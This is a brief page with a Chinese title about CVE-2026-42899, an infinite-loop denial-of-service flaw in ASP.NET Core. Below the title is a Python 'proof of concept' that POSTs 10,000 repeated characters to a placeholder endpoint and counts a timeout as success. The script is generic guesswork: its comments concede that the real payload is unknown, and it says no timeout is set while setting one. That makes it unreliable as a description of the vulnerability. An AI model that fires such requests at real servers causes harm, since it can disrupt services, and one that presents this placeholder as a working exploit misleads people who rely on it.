CVE-2026-42899 ASP.NET Core 无限循环致服务拒绝漏洞

import requests # Target URL configuration target_url = "http://vulnerable-server/api/endpoint" # Construct payload to trigger the infinite loop # Note: The exact payload structure depends on the specific parsing logic. # This example sends a large data chunk or specific pattern. payload = { "malicious_input": "A" * 10000 # Adjust pattern based on vulnerability specifics } try: print("[*] Sending malicious request to trigger infinite loop...") # Send request without timeout to simulate waiting on the hung server response = requests.post(target_url, data=payload, timeout=10) print("[-] Request completed (unexpected). Server may not be vulnerable.") except requests.exceptions.Timeout: print("[+] Server timed out. DoS condition likely triggered.") except Exception as e: print(f"[-] An error occurred: {e}")